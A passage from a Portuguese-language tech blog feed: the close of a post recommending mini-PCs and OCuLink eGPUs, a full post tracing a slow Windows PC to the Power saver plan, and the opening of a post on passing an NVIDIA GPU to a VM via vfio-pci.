    <a href="#mini-pcs" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se achou tudo isso complicado, e acha notebooks muito caros, existe uma outra boa alternativa: <strong>Mini-PCs</strong>.</p>
<p>Muita gente fala dos <strong>Beelink</strong> e eu concordo, são muito bons. Se conseguir achar uma boa configuração num preço que cabe no seu bolso, pode comprar. Hoje em dia funcionam muito bem.</p>
<p>Eu mesmo uso um <strong>Intel NUC 13 Pro Slim</strong>, que vem com uma Intel Core i7-1360P de 13a geração, com 16GB e eu dei upgrade pra 32 GB (DDR4), tem PCIe 4.0 pra NVME, acho que vem com 512GB mas dei upgrade pra 1TB, Wi-fi 6E e Bluetooth 5.3, iGPU Intel Irix Xe (4K 60hz, não presta pra jogos mas pra produtividade é de bom tamanho), Ethernet 2.5Gbps (excepcional pra um Mini-PC), saídas HDMI e DP, e ainda tem Thunderbolt 4 e USB 3 Gen 2.</p>
<p>Não é barato, mas também não é absurdo. No Mercado Livre tá na faixa de <strong>BRL 6.000</strong>, o que é super aceitável pra essa configuração e zero trabalho. Eu uso ela como meu <a href="/tags/homeserver">home server</a>, como já mostrei em vários posts anteriores no blog.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010051_screenshot-2025-09-14_01-00-40.png" alt="Grafana cAdvisor"  loading="lazy" /></p>
<p>Tenho dezenas de containers Docker rodando coisas como Plex, Sonarr, Radarr, Grafana, Cloudflare, etc e não usa quase nada da minha CPU. Eu coloquei 32GB mas poderia ter deixado com os 16 GB que veio porque male-male está usando 4GB de RAM no total.</p>
<p>Esse mini-PC é suficiente pra um programador médio. Vai durar muito tempo. Só conectar um monitor, teclado, mouse e é isso.</p>
<p>Eu tenho um segundo mini-PC, o <strong>Minisforum EliteMini UM780 XTX</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010312_Minisforum-EliteMini-UM780-XTX-Mini-PC-connectivity-1200x610.webp" alt="Minisforum"  loading="lazy" /></p>
<p>Esse é mais potente, tem <strong>AMD Ryzen 7 8840U</strong> (categoria similar a um <strong>Rog Ally X</strong> de primeira geração, o de segunda é Z1 Extreme), 32GB, 1TB NVME PCIe 4.0, tem USB 4 (não tem Thunderbolt porque é exclusividade da Intel, Apple licencia). Mas pra mim o mais importante é que é um dos poucos PCs que tem saída <strong>OCulink</strong>.</p>
<p>OCulink é uma porta que conecta direto no barramento PCIe. Diferente de USB ou Thunderbolt que tem overhead do protocolo, OCulink é como se eu estivesse espetando uma placa direto no slot da placa-mãe.</p>
<p>Quando saiu o <strong>SteamDeck</strong> talvez vocês já tenham visto videos de pessoas fazendo mod e conseguindo conectar uma GPU externa nele. Pra fazer isso a GPU precisa se conectar direto na PCIe e a <strong>gambiarra</strong> foi usar o slot de NVME pra isso. Porque NVME também é um slot M2 que é PCIe, como já expliquei lá em cima.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010609_external-gpu-cooled-deck-v0-814qfkk5y4cb1.webp" alt="SteamDeck GPU"  loading="lazy" /></p>
<p>Pois bem, com OCulink não precisa fazer essa gambiarra. A Minisforum vende o <strong>DEG1 OCulink EGPU</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914010830_Minisforum-DEG1-Oculink-eGPU-with-AMD-Radeon-W7700-GPU-5-800x487.webp" alt="DEG1"  loading="lazy" /></p>
<p>Lembram que eu falei que tenho uma RTX 4090 no meu PC e também uma RTX 4060 pra games? Eu ligo nesse deck de egpu, conecto uma PSU só pra GPU e o DEG1 conecta na porta OCulink da UM780, e ela se liga na minha TV OLED 80&quot;, e pronto! Game 4K na sala.</p>
<p>Vai ter menos lanes de PCIe do que num PC de verdade, mas vai ser mais rápido do que um EGPU com Thunderbolt 4. Pro sistema operacional, seja Windows, seja Linux, ele não nota diferença de estar dentro ou fora do gabinete. Pra ele é uma GPU normal conectado num slot PCIe 4.0 diretamente. Não recomendo EGPUs via Thunderbolt, só com OCulink.</p>
<p>E não adianta ligar minha 4090 porque não tem lanes de PCIe suficientes. OCulink é PCIe x4. Quando se lê &ldquo;x4&rdquo; significa <strong>4 Lanes PCIe</strong>, no caso 4x PCIe 4.0 então uma banda máxima de <strong>64Gbps</strong>.</p>
<p>Uma RTX 4090 foi desenvolvida pra <strong>PCIe 5.0 x16</strong>. Então eu estaria desperdiçando 3/4 da banda que ele é capaz de trafegar. Por isso disse que seria um desperdício. Um RTX 4060 foi desenhado pra <strong>PCIe 4.0 x4</strong> que é exatamente o máximo da OCulink, então esse é o teto pra uma EGPU.</p>
<p>Portanto uma RTX 4060 via OCulink vai performar quase que totalmente, sem overhead se fosse eGPU via Thunderbolt (que perderia uns 20% da banda). Mas potente que isso, vai desperdiçar a GPU.</p>
<p>Voltando pra mini-PC, como falei, <strong>Beelink</strong> é uma marca bem popular. E se quiser o seu topo de linha, é a <strong>Beelink SER9 Pro</strong>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914011539_ser9.webp" alt="SER9"  loading="lazy" /></p>
<p>Pela bagatela de <strong>BRL 8.000</strong> no Mercado Livre, ela vem com AMD Ryzen AI 9 HX370 (12 cores/24 threads, até 5.1Ghz boost, 80 TOPS de AI), 32 GB de LPDDR5 (bem melhor que DDR4), 1 TB NVME PCIe 4.0, iGPU Radeon 890M (que é boa pra jogos também! muito melhor que um SteamDeck), Ethernet 2.5Gbps (excelente), e o básico: USB 4, HDMI, DisplayPort, USB 3.2, etc.</p>
<p>Pela configuração, eu acho que o preço condiz bem. Um notebook de configuração similar seria um <strong>ASUS ROG Flow Z13</strong> que tá na faixa de <strong>BRL 13.000</strong>. Se considerar que é portátil, vem com uma tela excelente, teclado, touchpad, bateria, não é um preço tão ruim.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012100_rog%20flow%20z13.jpg" alt="Asus Rog Flow"  loading="lazy" /></p>
<p>Ou se quiser algo ainda mais <strong>Premium</strong>, seria um <strong>Razer Blade 16</strong> que tem o mesmo Ryzen AI Max mas uma tela 16&quot;, super fino e tals, mas com a Taxa Brasil, vai sair salgados <strong>BRL 40.000</strong>. Não dá pra justificar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012231_814PVSAztPL.webp" alt="Blade 16"  loading="lazy" /></p>
<p>Se não quiser gastar tanto, ainda tem a <strong>Beelink SER8</strong> que tem AMD Ryzen 7 8845HS, que ainda é razoavelmente suficiente pra programar, com 8 cores/16 threads, iGPU Radeon 780M (que serve pra jogos não tão pesados), 32 GB DDR5 5600 (que é bom), 1 TB PCIe 4.0 que dá pra subir até 4 TB como já expliquei. Vem com Wi-Fi 6, Bluetooth 5.2, Ethernet 2.5 Gbps também, suporta HDMI 2.1, DP 1.4, USB 4.</p>
<p>E num Mercado Livre ainda se acha por uma faixa de <strong>BRL 5.000</strong>, similar ao meu Intel NUC. Acho que esse é o &ldquo;sweet-spot&rdquo; entre preço e performance. Pra mim, pessoalmente, acho fraco, mas não quer dizer que seja inútil. De novo, depende de quanto você pode gastar. O melhor PC é aquele que você pode comprar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20250914012714_ser8.webp" alt="Beelink SER8"  loading="lazy" /></p>
<p>Se instalar <a href="/tags/omarchy/">Omarchy</a> nesse Beelink, fica redondo! Recomendo!</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Acho que isso é tudo que eu queria compartilhar sobre escolher componentes de PCs. Nos videos do meu canal eu explico vários conceitos que complementam isso como <a href="https://www.youtube.com/watch?v=0TndL-Nh6Ok&amp;list=PLdsnXVqbHDUcTGjNZuRYCVj3AZtdt6oG7&amp;pp=gAQB"target="_blank" rel="noopener">Introdução a Redes</a> ou <a href="https://www.youtube.com/watch?v=lxjBgxmDZAI&amp;list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt&amp;pp=gAQB"target="_blank" rel="noopener">Entendendo Armazenamento</a> ou mais &ldquo;escovação de bits&rdquo; em <a href="https://www.youtube.com/watch?v=8G80nuEyDN4&amp;list=PLdsnXVqbHDUcQIuiH9b-i9A85H3A2ZW5W&amp;pp=gAQB"target="_blank" rel="noopener">Como Computadores Funcionam</a> e até coisas mais nerds como <a href="https://www.youtube.com/watch?v=tEXX1jdpZN8&amp;list=PLdsnXVqbHDUfTsz27oFYUaQD-1n9PXoyy&amp;pp=gAQB"target="_blank" rel="noopener">Saga dos Teclados</a> ou, pra programadores, <a href="https://www.youtube.com/watch?v=bwO8EZf0gLI&amp;list=PLdsnXVqbHDUdjNjfekBoCBfGtJ6kNRef-&amp;pp=gAQB"target="_blank" rel="noopener">Como Containers Funcionam</a> e <a href="https://www.youtube.com/watch?v=suSvMnNwV-8&amp;list=PLdsnXVqbHDUd17xLINVEXhJ32RxbzCEWV&amp;pp=gAQB"target="_blank" rel="noopener">Sistemas Operacionais</a>, tudo organizado em playlists. Só assistir.</p>
<p>Pra se manter atualizado, recomendo alguns canais que eu gosto:</p>
<ul>
<li><a href="https://www.youtube.com/@LinusTechTips"target="_blank" rel="noopener">Linus Tech Tips</a></li>
<li><a href="https://www.youtube.com/@GamersNexus"target="_blank" rel="noopener">Gamers Nexus</a></li>
<li><a href="https://www.youtube.com/@ETAPRIME"target="_blank" rel="noopener">ETA Prime</a></li>
<li><a href="https://www.youtube.com/@Coreteks"target="_blank" rel="noopener">CoreTeks</a></li>
<li><a href="https://www.youtube.com/@DigitalFoundry"target="_blank" rel="noopener">Digital Foundry</a> (pra entender efeitos de funcionalidades de GPUs em games)</li>
<li><a href="https://www.youtube.com/@HardwareCanucks"target="_blank" rel="noopener">Hardware Canucks</a></li>
<li><a href="https://www.youtube.com/@MatthewMoniz"target="_blank" rel="noopener">Matthew Moniz</a></li>
<li><a href="https://www.youtube.com/@Dave2D"target="_blank" rel="noopener">Dave2D</a></li>
</ul>
<p>O que não falta no YouTube são &ldquo;Tech Reviewers&rdquo; e a GRANDE maioria são extremamente ruins. Não recomendo a maioria. Tirando os da minha lista acima, não sobra muitos não. Tem alguns mais ou menos como Austin Evans, mas é mais entretenimento que review técnico, então também não recomendo.</p>
<p>Achou tudo isso demais? Isso foi só a ponta do iceberg. Não se preocupe em acertar de primeira. Você nunca vai ter só 1 PC. O importante é que preste atenção onde errou pra acertar na próxima. Mas se não se importar em pesquisar esses componentes todos e ficar só ouvindo YouTuber, vai fazer igual gente que consulta astrólogo pra saber como vencer na vida: não vai.</p>
<blockquote>
  <p><strong>Vou repetir: o melhor PC é aquele que você pode comprar!</strong></p>

</blockquote>
<p>Meu primeiro PC foi um 286 de 1MB de RAM no fim dos anos 80. Desde então passei por <strong>vários</strong> PCs. Numa era antes da Internet, eu cansei de ler classificados nos jornais pra pesquisar preços, eu ia bater perna na rua Santa Ifigênia, em São Paulo, que era a meca dos componentes eletrônicos. No começo da Internet eu cansei de fuçar ecomerces mais ou menos, componentes da Ásia via ums LikSang da vida.</p>
<p>Tive vários PCs, vários notebooks. Por isso eu tenho uma boa noção hoje, com quase 50 anos e como podem ver, eu continuo atualizado. Você de 20 tem que ter vergonha de ter preguiça. Isso tudo leva tempo, mas precisa começar não tendo medo de <strong>fuçar</strong> e <strong>errar</strong>.</p>
<p>Eu já queimei componentes, já dei curto, já fiz gambiarra, já formatei HD errado. Tudo que se pode imaginar que dá pra fazer errado, eu já fiz, por isso sei que é errado. E eu sei ler, li o que os outros faziam, e tentava do meu jeito. Montar PC é algo que você vai fazer a vida toda. Quanto mais cedo tirar a preguiça e aprender os componentes, menos problemas vai ter no futuro.</p>
<p>Ser o &ldquo;melhor programador&rdquo; significa aprender a tirar o máximo que seu hardware consegue entregar e isso significa aprender a tunar cada componente e OS até extrair tudo dele. Foi assim que eu mais aprendi sobre computação: com hardware fraco. Ter dinheiro e comprar o mais caro só significa que você não vai aprender nada além de reclamar. E reclamar não tem valor.</p>
]]></content:encoded><category>hardware</category><category>performance</category></item><item><title>Seu Windows pode estar Capado sem Você Saber. Cheque isto!!</title><link>https://akitaonrails.github.io/2025/05/21/seu-windows-pode-estar-capado-sem-voce-saber-cheque-isto/</link><guid isPermaLink="true">https://akitaonrails.github.io/2025/05/21/seu-windows-pode-estar-capado-sem-voce-saber-cheque-isto/</guid><pubDate>Wed, 21 May 2025 17:15:00 -0300</pubDate><description>&lt;p&gt;Eu normalmente não ligo de documentar sobre problemas bobos de Windows, mas este em particular me deixou irritado, então vou relatar a sequência de eventos. Mas já deixo o spoiler do final: abra Control Panel e Power Options no seu Windows e cheque se ele não está em &amp;ldquo;Power saver&amp;rdquo; mode. Tire desse lixo, deixe no mínimo em Balanced, mas se for PC Desktop suba pra &amp;ldquo;High Performance&amp;rdquo; ou &amp;ldquo;Ultimate Performance&amp;rdquo;. Depois me agradeça.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu normalmente não ligo de documentar sobre problemas bobos de Windows, mas este em particular me deixou irritado, então vou relatar a sequência de eventos. Mas já deixo o spoiler do final: abra Control Panel e Power Options no seu Windows e cheque se ele não está em &ldquo;Power saver&rdquo; mode. Tire desse lixo, deixe no mínimo em Balanced, mas se for PC Desktop suba pra &ldquo;High Performance&rdquo; ou &ldquo;Ultimate Performance&rdquo;. Depois me agradeça.</p>
<p>Agora senta que lá vem história.</p>
<p>Eu montei um PC até que razoável pra minha namorada: Intel i7 12th Gen de 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, placa-mãe MSI Edge z790, NVME e até coloquei um NAS Synology DS1621+ em rede 2.5Gbps - porque ela é criadora de conteúdo e tem MUITO video pra editar. Modéstia a parte, ficou bonito:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a8c82k3ocnpu1jamxb9w0z1fx2cf" alt="pc branco"  loading="lazy" /></p>
<p>Tudo funcionou muito bem por bastante tempo, mas eventualmente, sem nenhum motivo aparente, tudo começou a parecer meio lento. Não totalmente lento, mas às vezes páginas web pareciam engasgar pra carregar. Clicava no menu Start do Windows e ele parecia dar umas travadas. Às vezes o Explorer travava e precisava ir no Task Manager e dar restart no processo manualmente. Várias coisas super inconvenientes mas que não dava nenhum &ldquo;erro&rdquo; explícito aparente. Só parecia &ldquo;estranho&rdquo;.</p>
<p>Eu sou usuário de Linux. Meu PC principal é Manjaro Linux. Só uso Windows nos meus mini-PC de games, exclusivamente pra rodar Steam e alguns emuladores. Eu evito ao máximo instalar qualquer coisa neles. Porque sei como é um saco diagnosticar Windows depois que algum programa estranho invade.</p>
<p>Fui olhar os suspeitos de sempre. Ela tinha instalado jogos pra fazer streaming, tipo Valorant, Genshin Impact e coisas assim. Eu sempre suspeito de anti-cheats, as porcarias do Riot Vanguard ou Easy ou VAC. Comecei desinstalando todos os games. Mas eu sempre acho que anti-cheat é que nem malware: uma vez instalado, nunca mais vai sair do sistema. Desinstalei tudo, mas continuou essa sensação de meio travando, meio lento, às vezes, intermitente.</p>
<p>Tentei os próximos suspeitos: software de periféricos, como os da Elgato, Logitech, Razr que instalam um monte de porcaria nas máquinas, e recentemente estava lendo sobre o malware que vinha em todos eles. Assistam este video do GamerNexus pra entender a casa de cartas que é toda a indústria de periféricos com RGB:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/H_O5JtBqODA"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Mesmo desinstalando todos, ainda mesmo comportamento: meio lento, meio travando, instável.</p>
<p>Vamos tentar ir mais a fundo, pra isso tem que instalar ferramentas como da <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns"target="_blank" rel="noopener">Sysinternals Autoruns</a> pra ver se tem alguma coisa iniciando (coisas escondidas no Registry por exemplo). Tentei desligar tudo que eu achava suspeito.</p>
<p>Nada. A essa altura também já tinha garantido que firmware de BIOS mais nova da MSI estava instalado. Chequei se nada tinha desligado na BIOS, XMP profile tava ok, nada de fast-boot e coisas assim.</p>
<h3>Será a Internet?<span class="hx:absolute hx:-mt-20" id="será-a-internet"></span>
    <a href="#ser%c3%a1-a-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Como o uso maior é internet e ela parecia &ldquo;lenta&rdquo;, pensei que poderia ser problemas de rede. Roteador da Vivo? Plano? Wifi com interferência?</p>
<p>Ficando sem paciência resolvi ir nuclear na idéia de internet. De fato, abrindo a página da <a href="https://speed.cloudflare.com/"target="_blank" rel="noopener">Cloudflare Speed Test</a> eu via que a velocidade em si estava ok, mas a latência estava MUITO alta, jitter alto e, principalmente PACKET LOSS estava em mais de 15%. Não é normal isso, tem que ser 0%.</p>
<p>Aproveitei que fui pra Miami e já trouxe um roteador TP-LINK BE9300 pra Wi-fi 7, comprei uma placa PCIe de Wi-fi 7 compatível também. Desliguei o roteador de Wi-fi da Vivo e mandei subir o plano pra 800Mbps. E de fato, melhorou muito a internet:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ogesvmtex2ek825hel7d4l0f5i30" alt="vivo internet"  loading="lazy" /></p>
<p>Latência caiu, jitter caiu, packet loss foi pra 0%.</p>
<p>Mas isso não resolveu o problema. Do nada o navegador dava umas pausas na hora de carregar alguma página. Aquela sensação meio de lento, meio travando. E sim, tentei trocar de Edge pra Chrome, pra Firefox, pra tudo. Nada fazia diferença. A internet ficou mais rápida mesmo, mas o Windows em si não pareceu que melhorou muito e navegando, começava a ficar mais e mais lento. Então o problema não era internet.</p>
<p>Estava ficando sem opções. Tudo que poderia ser manualmente limpo no Windows, eu limpei. Já não tinha quase mais nada pra apagar - e eu apago as coisas sem dó. Mas eu sempre fico na cabeça que é algum malware, alguma coisa que carrega antes do boot, algum &ldquo;ROOTKIT&rdquo;. Anti-cheats são Rootkits por definição. Eles carregam antes até da kernel e a partir desse ponto, o sistema comprometido não pode ser mais confiado, porque nenhuma ferramenta vai conseguir achar ele.</p>
<p>Assumindo que nesse ponto deve ser um sistema comprometido, resolvi ir na opção nuclear: reinstalar tudo do zero. Fizemos backup dos dados e lá fui eu reinstalar do zero.</p>
<h3>Reinstalar NÃO FUNCIONOU<span class="hx:absolute hx:-mt-20" id="reinstalar-não-funcionou"></span>
    <a href="#reinstalar-n%c3%a3o-funcionou" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Agora ficou pior.</p>
<p>Com o Windows 11 Pro, recém-instalado, garantidamente sem nenhum software de terceiros instalado, ainda assim estava com o mesmo comportamento de meio lento, meio travando. O menu de start não me deixava clicar em nada. Precisava abrir o task manager e matar o Explorer manualmente pra fazer ele voltar a funcionar.</p>
<p>Fiquei um tempo olhando pro Task Manager, mas não tinha nenhum processo rodando que eu poderia suspeitar mais: era Windows bare-bones. Eu até tinha rodado um <a href="https://github.com/Raphire/Win11Debloat"target="_blank" rel="noopener">Debloater</a> pra desinstalar os apps desnecessários da Microsoft como Teams.</p>
<p>Mas eis que, de tanto olhar o task manager, eu vi que estava ignorando um dado importante. Veja se acham:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/pky39kkwcbuyqocwpj15n36i9gai" alt="cpu low"  loading="lazy" /></p>
<p>A imagem tá meio zoada porque eu tirei foto do monitor com meu celular. O refresh rate conflita com da câmera e fica essa &ldquo;grade&rdquo;, mas acho que dá pra ler.</p>
<p>Mesmo quando você não tem quase nenhum programa rodando, não é natural a CPU estar com clock tão baixo assim, 0.50Ghz - MEIO GIGAHERTZ. Esse Intel i7 é capaz de ir acima de 4Ghz e o clock-base é de 2Ghz.</p>
<p>Abri navegadores, abri abas, fiquei monitorando, e nunca subia pra mais de 1.5Ghz. Um ocasional pico de 2Ghz por 1 segundo e depois caía pra abaixo de 1Ghz de novo. Daí pensei: será que o AIO está falhando??</p>
<p>Olhando o Event Viewer dava pra ver quando o menu Start (que faz parte do Explorer.exe) parava de funcionar e travava: ele registra no log como &ldquo;Hanging Events&rdquo; código 1002.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dtugk013p4decud6zo1dzg3rjhxr" alt="event viewer"  loading="lazy" /></p>
<p>Tá vendo esse monte de Error? Tudo Hanging Events, e &ldquo;hanging&rdquo; é justamente o comportamento: alguma coisa parece &ldquo;segurar&rdquo;, &ldquo;travar&rdquo; e só matando o processo pra ele voltar a funcionar.</p>
<p>E isso acontecia antes e também DEPOIS de resinstalar tudo do zero. Alguma coisa parecia fundamentalmente errada no hardware em si. Com o clock super baixo, esse comportamento começa a fazer sentido: está tão lento que ele não está conseguindo processar coisas básicas. Clique várias vezes no Start Menu (que vai ficar fuçando documentos recentes, atualizando lista de aplicativos, abrindo search bar, etc) e não tem clock pra processar isso enquanto ainda tem Windows Defender em background, abas de navegador processando.</p>
<h3>Será Thermal Throttle??<span class="hx:absolute hx:-mt-20" id="será-thermal-throttle"></span>
    <a href="#ser%c3%a1-thermal-throttle" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Como o Windows está zerado, não pode mais ser anti-cheat, não pode ser anti-virus esquisito, não pode ser malware, não é a internet, é alguma coisa FORA, era o que fazia sentido.</p>
<p>Abri o PC e deixei aberto pra poder sentir se o dissipador estava ficando absurdamente quente. Se estiver, iria significar que meu AIO (Watercooler da Coolermaster) começou a falhar.</p>
<p>É normal quando a CPU super-aquece, ele derrubar o clock pra evitar queimar o chip. Isso se chama &ldquo;THEMAL THROTTLING&rdquo;.</p>
<p>E de novo esquisito: estava FRIO ao toque!!!</p>
<p>Não é possível. Abri a BIOS pra re-checar perfis de ventoinha, mas tudo normal:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/yl02sk0dug6zj9d1gen877d22gnw" alt="cpu fans"  loading="lazy" /></p>
<p>Eis que finalmente me ocorreu:</p>
<pre><code>**DEIXA EU CHECAR CONFIGURAÇÃO DE POWER**
</code></pre>
<p>Num PC/notebook normal, deveria aparecer algo parecido com isto:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/a5dkm6eag4ebma6ye1i1mnzphy3s" alt="Power Settings"  loading="lazy" /></p>
<p>Por default, Windows sempre sobe em &ldquo;Balanced Mode&rdquo;.</p>
<p>Mas no PC da minha namorada, <strong>não sei por que</strong>, não tinha opção de Power Mode!!! E eu estou num Windows 11 pro com licença paga!!</p>
<p>Isso é esquisito, mas eu sei que no antigo Control Panel, tem opção de Power Options:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/70ymku67f5ufp0pd76jp0b2hqjx2" alt="control panel"  loading="lazy" /></p>
<p>E EIS O PROBLEMA:</p>
<p>Estava em &ldquo;Power saver&rdquo;!!!</p>
<p>Como isso aconteceu? Não tenho a mínima idéia. LEMBREM-SE: eu re-instalei o Windows do zero. Isso é logo depois de reinstalar!!</p>
<p>Em notebook faz sentido ter esse perfil, pra economizar bateria quando você não tem tomada. Mas em PC desktop, como é meu caso, não faz nenhum sentido!! Mudei pra &ldquo;Ultimate Performance&rdquo; e olha o task manager agora:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5hg5d85ivuxv9tw5si21wcb3hm5p" alt="cpu high"  loading="lazy" /></p>
<p>AGORA SIM!! Acima de 4Ghz!!!</p>
<p>O NORMAL desta CPU é estar na faixa de 4Ghz, com Turbo Boost de 5Ghz. Mas em Power saver mode, ele NUNCA sobe acima de 2Ghz e fica idling em 500Mhz. Ou seja, estava tudo <strong>DEZ VEZES MAIS LENTO</strong>, às vezes tentava dar boost e ficava ainda <strong>CINCO A DUAS VEZES MAIS LENTO</strong>. E é intermitente!!!</p>
<p>Testando instalar apps, navegar, etc, tudo agora está funcionando normalmente, sem travar, sem sensação de lentidão. Start menu não trava mais - porque agora tem CPU suficiente pra processar as porcarias que ele precisa em background.</p>
<h3>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>CHEQUE POWER OPTIONS NO CONTROL PANEL!!!!</p>
<p>Repetindo: eu tinha ACABADO DE REINSTALAR O WINDOWS. Estava zerado e, por default, ele subiu em Power Saver mode.</p>
<p>Não tenho idéia de porque ele fez isso, não sei se ele sempre faz isso, não sei se ele não reconheceu a placa-mãe da MSI, não sei que combinação de fatores de hardware podem fazer o Windows dar fallback pra isso.</p>
<p>Mas é ALARMANTE que ele faça isso sem avisar. Não tem mensagem de erro. Não tem notificação. Não aparece no Event Viewer. Ou seja, mesmo um Power User como eu eu, precisa aleatoriamente suspeitar &ldquo;hum, deixa eu ver o perfil de energia&rdquo;.</p>
<p>Muita gente com Windows deve estar sentindo essa lentidão e travamentos e achando &ldquo;hm, meu PC é porcaria mesmo, preciso juntar dinheiro pra comprar outro&rdquo;, sem saber que talvez ele só esteja capado por esse perfil de energia e na verdade o PC dele é de 2x a 5x, até 10x mais rápido e ele não sabe disso! Não é uma diferença pequena!</p>
<p>POWER SAVER MODE é uma grande porcaria, não tem nenhuma utilidade prática e nem deveria existir.  É uma das coisas legadas que fazem o Windows ter uma péssima experiência - porque ele não avisa.</p>
<p>Lembra os códigos de erros 1002 de hanging events? Se sair procurando no Google, todo fórum vai te dizer pra rodar programas de diagnósticos, desinstalar coisas, ou reinstalar o Windows. Nenhum cita nada sobre perfil de energia.</p>
<p>Espero que isso ajude mais alguém!</p>
]]></content:encoded><category>microsoft</category><category>performance</category><category>hardware</category></item><item><title>NVIDIA e Wayland - Problemas pra PCI Passthrough em VMs</title><link>https://akitaonrails.github.io/2025/04/17/nvidia-e-wayland-problemas-pra-pci-passthrough-em-vms/</link><guid isPermaLink="true">https://akitaonrails.github.io/2025/04/17/nvidia-e-wayland-problemas-pra-pci-passthrough-em-vms/</guid><pubDate>Thu, 17 Apr 2025 19:35:00 -0300</pubDate><description>&lt;p&gt;Mais um artigo que é mais pra eu não me esquecer e servir de anotação pra mim.&lt;/p&gt;
&lt;p&gt;Em Fevereiro de 2023 eu fiz um longo video sobre como eu configurei Windows pra rodar emulado em VM de QEMU/Libvirt e conseguindo passar minha 2a GPU, que é a RTX 4090 pra dentro da VM, possibilitando rodar jogos pesados mesmo emulando o Windows. Se não assistiu, está &lt;a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener"&gt;neste link&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Em resumo, eu tenho uma máquina parruda, um Ryzen 9 7950X3D com 96GB de RAM. Essa CPU tem uma iGPU, uma GPU integrada fraquinha da AMD. Fraquinha mas mais do que suficiente pra rodar GNOME em dois monitores, com suporte a HDR e em 4K sem engasgar nem nada. Pra uso do dia a dia que é mais abrir navegador, é mais que suficiente.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Mais um artigo que é mais pra eu não me esquecer e servir de anotação pra mim.</p>
<p>Em Fevereiro de 2023 eu fiz um longo video sobre como eu configurei Windows pra rodar emulado em VM de QEMU/Libvirt e conseguindo passar minha 2a GPU, que é a RTX 4090 pra dentro da VM, possibilitando rodar jogos pesados mesmo emulando o Windows. Se não assistiu, está <a href="https://www.akitaonrails.com/2023/02/01/akitando-137-games-em-maquina-virtual-com-gpu-passthrough-entendendo-qemu-kvm-libvirt"target="_blank" rel="noopener">neste link</a>.</p>
<p>Em resumo, eu tenho uma máquina parruda, um Ryzen 9 7950X3D com 96GB de RAM. Essa CPU tem uma iGPU, uma GPU integrada fraquinha da AMD. Fraquinha mas mais do que suficiente pra rodar GNOME em dois monitores, com suporte a HDR e em 4K sem engasgar nem nada. Pra uso do dia a dia que é mais abrir navegador, é mais que suficiente.</p>
<p>Essa GPU carrega no Linux com o driver que já vem na kernel, <code>amdgpu</code>e é montada como <code>/dev/dri/card1</code>. Daí eu coloquei uma 2a GPU, a parruda RTX 4090 com 24GB de VRAM GDDR6X. Não é suficiente pra rodar as LLMs mais parrudas, mas consegue rodar o suficiente. Comprei primariamente pra jogos, mas acabo usando pra IA e render 3D também.</p>
<p>Agora o conceito é simples: no boot, o Linux precisa ignorar essa placa e não carregar os drivers da NVIDIA. Se fizer isso, eu não consigo depois passar ela pra dentro da VM do Windows. Eu editava os videos do meu canal no DaVinci Resolve, que usava plugins que só funcionam em Windows, esse era um dos motivos na época. O Resolve em si funciona no Linux também, mas muitos plugins não. Eu também preferia usar Photoshop, que também só tem no Windows.</p>
<p>Pra isso configuramos o Linux pra carregar um driver de mentira, chamado de <code>vfio-pci</code> no lugar do driver da Nvidia (ou a alternativa open source, Nouveau). No outro artigo eu explico em mais detalhes, mas é um enorme saco configurar isso na mão. Não sei se ainda funciona, mas na época também usei um script que automatiza isso, o <a href="https://github.com/uwzis/GPU-Passthrough-Manager"target="_blank" rel="noopener">GPU-Passthrough-Manager</a>. Ele vai configurar tudo pra impedir os drivers da NVIDIA de carregar e trocar pra vfio-pci corretamente. Acho que também funciona em notebooks com Optimus, quando você tem uma iGPU mais fraca (pra economizar bateria) e uma GPU discreta separada, mas eu não testo isso faz anos então nem me perguntem, perguntem ao ChatGPT.</p>
